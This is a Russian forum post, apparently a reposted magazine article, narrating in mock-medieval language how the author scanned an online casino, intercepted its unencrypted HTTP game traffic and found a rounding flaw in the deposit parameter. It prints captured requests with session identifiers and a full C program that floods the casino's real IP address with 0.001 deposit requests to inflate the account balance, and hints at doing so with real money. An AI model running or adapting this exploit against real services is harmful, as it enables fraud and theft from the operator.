Поиск ошибок в работе интернет-казино

CUK77

Professional
Messages
1,193
Reputation
3
Reaction score
386
Points
83
«Ставка невозможна, на вашем игровом счете не хватает денежных средств». Ну что, доигрался? Продул последние 100 убитых енотов в интернет-казино? Не даром в Лас-Вегасе говорят: «Хочешь заработать на казино — стань его владельцем». Ну что, накажем супостата?

Введение

В первую очередь ты должен знать, что играть в казино — то же самое, что играть с государством и законом, и все нижеописанное не игрушки. Однажды, блуждая по просторам интернета в поисках матрицы, я забрел на один сайт, где делают деньги на человеческих слабостях - online-казино, то есть цитадель алчности. К сожалению, их в последнее время развелось очень много. С виду это еще одно обычное казино, написанное на flash'е, но один баннер, расположенный в левом нижнем углу, сразу привлек мое внимание. Там была картинка, которая гласила: «Премия за найденную ошибку!». Довольно редкая ситуация, когда казино готово платить за свои ошибки. Кликнув мышкой по этой картинке, я узнал, что администрация сайта предлагает принять участие в тестировании казино и обещает заплатить за найденные недочеты и ошибки от 25 до 1000 долларов, в зависимости от степени важности. Не густо, но и не пусто.

Разведка боем

Итак, в первую очередь — регистрация. Как истинный рыцарь, я сразу сообщу хозяевам о своих намерениях. Практически сразу же был обнаружен недочет при заполнении форм. Проверка правильности email'а была реализована некорректно, и система не принимала email'ы, в которых присутствовало тире. Но это ерунда, и на ней много не заработаешь — надо искать дальше :(. Далее запускаю лазутчика и временно передислоцируюсь на кухню, в район холодильника. Послеобеденные результаты сканирования местности оказались не лучшими для меня. Видимо, начальник охраны не зря получает свои деньги. Все сервисы оказались достаточно новыми, и разрушающих заклятий для них не было (по крайней мере, у меня). Не мешало бы прощупать ошибки в Web'е, путем подставки в тело запроса различной ерунды, чтобы найти хоть какую-то зацепку. Но из этого ничего не вышло: ошибки есть, но практической ценности не имеют — все работает корректно. Перейдя к форуму, увидел всем известный phpBB, но и здесь ничего не получается - новая версия. Комплексный поиск возможных методов доступа не дал существенных результатов и не принес прибыли. Так и должно было быть, потому что ошибки в Web'е, скорее всего, уже были найдены еще во времена мамонтов, а значит, надо искать в другом месте. Поэтому следующий этап - поиск ошибок в реализации программного обеспечения. Единственное, что остается, — это сесть в засаду и перехватывать все входящие и выходящие обозы, то есть проверить работу внешнего программного обеспечения, протоколов и flash-программ.

Засада

Третий день засады. Цитадель молчит, но и я не промах. На четвертый день картина стала проясняться. Оказалось, что у цитадели есть множество мобильных отрядов, которые могут свободно перемещаться на удаленные графства с помощью специальных Flash-платформ. Эти отряды собирают дань весьма интересным способом: они предлагают жителям графств вложить их золотые монеты в выгодное дело, которое впоследствии должно принести огромные дивиденды. Чтобы лучше втесаться в доверие к гражданам, для начала они предлагают попробовать такое вложение, например на птичьем помете, при этом сами предлагают каждому в подарок по 1000 кг этой гадости. Доверчивые граждане вкладывают подаренное им имущество и богатеют: на 1 кг вложений они получают 10 кг чистого дер$ма. Но когда прибыль уже некуда девать, граждане начинают вкладывать не птичий помет, а золотые монеты. Вот тут-то и кроется обман. Оказывается, дивиденды на золото совсем не идут, а наоборот, вложенное золото просто исчезает. Да уж, печальная картина. Я в свое время тоже попадался на такие уловки. Я пытался бороться, подсовывал монеты с отрицательным достоинством (-50), пытался переполнить их золотом, указывая большие числа. Это не дало никакого результата. Но одно «но» не давало мне покоя. Ты, наверное, тоже задался вопросом: а как мобильные отряды перевозят золото? Вот она зацепка!!! Нужно узнать, как они это делают, где его хранят, каким образом учитывают. Просидев в засаде еще несколько дней, стало понятно, что мобильные отряды возят часть наличности, принадлежащей доверчивому гражданину, с собой, но только ту часть, которая необходима ему для участия в деле. Для безопасности они сообщают на базу (в цитадель) результаты всех своих махинаций, и именно там тошнотики-бухгалтеры ведут все расчеты. В любой момент по первому требованию они готовы принять или отправить нужное количество птичьего помета. В своих злодеяниях они на столько обнаглели, что даже не заботились о шифровании передачи сообщений, используя в качестве транспорта обычного посыльного. Внедрив своего спецагента, мне удалось легко перехватить достаточное количество сообщений для детального анализа. Простота и тупость этих сообщений прямо пропорциональна жадности самих хозяев. Я даже приведу пример наиболее интересного сообщения, оно написано на древнеиндийском языке:

GET http://game.hibet.ru/games/casino.php?deposit=100&nocache=4036119973&sync=10025&phpsessid=1754332441 HTTP/1.1

Как видишь, здесь все очень примитивно:
nocache в каждом запросе принимает случайное значение. Судя по названию, предназначена для того, чтобы предотвратить кэширование страницы, то есть внесение случайности в строку запроса, делая ее уникальной (как оказалось впоследствии, ее можно проигнорировать и оставить постоянной).

phpsessid - идентификатор сессии. Это уникальный позывной мобильного отряда.
sync - порядковый номер сообщения. Видимо, он нужен для того, чтобы вражеские бухгалтеры не ошиблись при учете казны. Но бухгалтеры тоже оказались недалекими людьми. Если вдруг отряд ошибался с порядковым номером (а это, в принципе, невозможно), то они вежливо ему сообщали об этом, вместо того чтобы бить тревогу. В качестве ответа приходит обычный POST-запрос:
phpsessid=1754332441&sync=10026&valute=fun&game=9&cash=400&Player=CasinoCracker&kassa=Операция выполнена&acc=600&cmds=&gameid=1145191524270079&done=1

Без комментариев. Тут даже дураку понятно, что для чего. Обратите внимание на переменные cash и acc. В них указывается количество дерьма, находящегося в цитадели и в отряде. Прикинувшись простолюдином, я решил немного поиздеваться. Вступив в сделку с отрядом под громким названием Jacks or Better, я получил подарок в размере 1000 (вероятно кг) отборного говна. Издевательство заключалось в том, что я сначала брал их хваленое дерьмо, а потом тут же возвращал, при этом не все, а по частям. Само собой, отряд после каждой операции все сообщал на базу. Я заметил, что сумма выданного и возвращенного птичьего помета указывалась в поле deposit, в виде отрицательного или положительного числа. Подведем итог. Отряды постоянно отсылают сообщения на базу о результатах своих операций. Одной из таких операций является прием и передача птичьего помета (ну и золотых монет тоже) на базу и обратно, причем эту операцию они выполняют сколько угодно раз по первому требованию доверчивого гражданина. Сообщение передается на древнеиндийском языке, в котором содержится фраза deposit, указывающая на количество передаваемых средств. Направление передачи определяется знаком числа, то есть отрицательное число - с базы к отряду, положительное - наоборот. Ну что, картина прояснилась, осталось найти ошибку и наказать злодеев по заслугам.

Атака

Выходим из засады и переходим к решительным действиям. Еще, сидя в засаде и анализируя работу отрядов, я заподозрил наличие ошибки, которая достаточно часто распространена при работе с денежными средствами. И первая же проверка подтвердила мои подозрения, но не будем торопиться и рассмотрим все по порядку. Во-первых, как ты догадался, мне не составило никакого труда замаскироваться под один из мобильных отрядов врага. В ближайшей службе доставки я нанял посыльного, и от имени отряда послал запрос в цитадель на доставку птичьего помета в количестве 0,001.

GET http://game.hibet.ru/games/casino.p...he=4036119973&sync=10026&phpsessid=1754332441 HTTP/1.1

В ответ посыльный принес мне заказанное количество вонючей субстанции и сообщение, в котором говорилось, что сумма в отряде увеличена на 0,001, а вот та, что хранится в цитадели, не изменилась!

phpsessid=1754332441&sync=10027&valute=fun&game=9&cash=400&Player=CasinoCracker&kassa=Операция выполнена&acc=600.001&cmds=&gameid=1145191524270079&done=1

Вот оно! То, что мы искали! Теперь мы сможем наказать супостата за разорение доверчивых граждан. Все, что нам осталось для достижения цели,- это создать секретное оружие и применить его. Нашим секретным оружием будет робот-воин, который сможет сам нанимать посыльного и отправлять сообщение с требованием выдачи 0,001 помета. Не буду вдаваться в технические подробности - просто посмотри на листинг программы. Робот для работы требует два параметра:

- Текущее значение параметра sync.
- Имя файла, содержащего часть передаваемого http-пакета.

Файл, имя которого передается во втором параметре, содержит недостающие фразы для создания предложения на древнеиндийском языке. Как ты, наверное, заметил, мой робот в качестве двигателя использует энергию открывающихся окон, но я думаю, ты без труда сможешь его переделать под упряжку резвых пингвинов. Решающий момент - запуск роботы, [Enter] — и все. Пока наш робот резвится, давай поразмыслим, где ошибся жадный властитель цитадели. А ошибся он, скорее всего, где-то между бухгалтерами, казначеями и службой обработки входящих сообщений. Вероятно, служба обработки, принимая заказ на отправку помета, передавала его сразу в казначейство и в бухгалтерию. Первые на основании требования выдавали нужное количество, а вот вторые перед оформлением операции сначала округляли запрос до сотых, а только потом проводили операцию. В результате казначеи выдавали 0,001, а бухгалтеры, при оформлении документов, округляли и получали 0,00, а потом вычитали. Вот такая математика. Теперь посмотрим на работу робота. Ты посмотри, какой молодец, за час работы увеличил наш счет до 20-ти единиц, а ведь если вкладывать не птичий помет, а золото, то можно неплохо разбогатеть. Итак, справедливость восторжествовала, враг паникует и готов сдаться.

Эпилог

Наши победили, народ ликует, пошли титры. Но мы не в Голливуде, и настоящая жизнь очень редко балует нас хэппиендами. Если ты еще раз прочитаешь введение, то вспомнишь, что мы просто хотели честно заработать, используя свой интеллект. Я думаю, ты согласишься с тем, что для казино такие ошибки чреваты большими последствиями, и оплата за их нахождение должна быть достойной. Но у жадных людей свои взгляды на жизнь и они оценили эту ошибку в 50 у.е. Что же получается? А то, что цитадель алчности победила, она получила аудит ПО с указанием найденных ошибок (представлена всего одна, но достаточно значимая) всего за 50 баков.

Робот-воин (исходный текст):
Code:
//*********************************************************************

// Для запуска требуется файл с заголовком HTTP-запроса

// Формат запуска casino.exe <sync_id> <text_header>

// sync_id - последующее значение поля sync

// text_header - имя файла с заголовком http-запроса без самого запроса

#include <winsock2.h>

#include <stdio.h>

#include <io.h>

#include <fcntl.h>

#include <conio.h>

int main(int argc, char* argv[])

{

char http_header[1024];

char file_header[1024];

char http_get[1024];

long sync;

SOCKADDR_IN sa;

WSADATA wsa;

int out;

int err;

char buf[256];

if(argc<3)

printf("Usage: casino.exe <sync_id> <text_header>");

sync=atoi(argv[1]);

if (WSAStartup(MAKEWORD(2,0),&wsa))

{

return 0;

}

memset(&sa,0,sizeof(SOCKADDR));

sa.sin_family=AF_INET;

sa.sin_port=htons(80);

sa.sin_addr.S_un.S_addr=inet_addr("217.74.42.151");

int f;

int i=0;

f=open(argv[2],O_BINARY|O_RDONLY);

while(!_eof(f))

{

read(f,&file_header[i++],1);

}

file_header[i++]=0;

while(!kbhit())

{

out=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

if (out==INVALID_SOCKET)

{

return 0;

}

err=connect(out,(const SOCKADDR *)&sa,sizeof(SOCKADDR));

if (err==SOCKET_ERROR)

{

return 0;

}

sprintf(http_header,"GET http://game.hibet.ru/games/casino.php?deposit=0.001.. HTTP/1.1\r\n%s",sync++,file_header);

err=send(out,http_header,strlen(http_header),0);

recv(out,http_header,475,0);

http_header[475]=0;

printf(http_header);

closesocket(out);

}

return 0;

}

Пример файла с заголовком:
Code:
Host: game.hibet.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.5) Gecko/20041108 Firefox/1.0

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5

Accept-Language: ru-ru,ru;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

Cookie: /=1387790268; HIBET_UID=1475054832; PHPSESSID=879249298

Средневековый словарь терминов:

Лазутчик - nmap, программа, предназначенная для сканирования сети.
Начальник охраны - системный администратор.
Разрушающее заклятие - эксплоит (exploit).
Мобильные отряды - программная реализация азартных игр, созданных с использованием технологии Flash.
Удаленные графства - компьютеры пользователей.
Выгодное дело - электронные азартные игры, такие как рулетка, BlackJack, покер, кено и другие игры.
Доверчивый гражданин - это ты, если хоть раз играл в интернет-казино, или твой друг.
Птичий помет - виртуальные денежные средства, не имеющие никакой ценности. Казино называет их FUN.
Золото или золотые монеты - реальные денежные средства, расположенные на электронном счете казино.
Посыльный - http-протокол.
Спецагент - программа HttpDetect, позволяющая перехватывать полный текст транзакции (запрос и ответ) между WEB-сервером и WEB-браузером.
Древнеиндийский язык - GET-запрос, один из способов реализации HTTP-протокола.
Служба доставки - WEB-браузер.
Воин-робот - программа, использующая найденную ошибку для увеличения игрового счета.

INFO

Flash - это технология веб-мультипликации и создания интерактивного контента компании от Macromedia, получившая широкое распространение. Применяется при создании анимационных заставок, веб-игр и интерактивных элементов сайта.
Nmap - это не единственная программа для сканирования сети и ее компонентов, но зато одна из лучших и бесплатных. Кроме nmap, я бы порекомендовал еще XSpider от компании Positive Technologies (http://www.ptsecurity.ru/). У них есть платная и бесплатная версии.
 
Top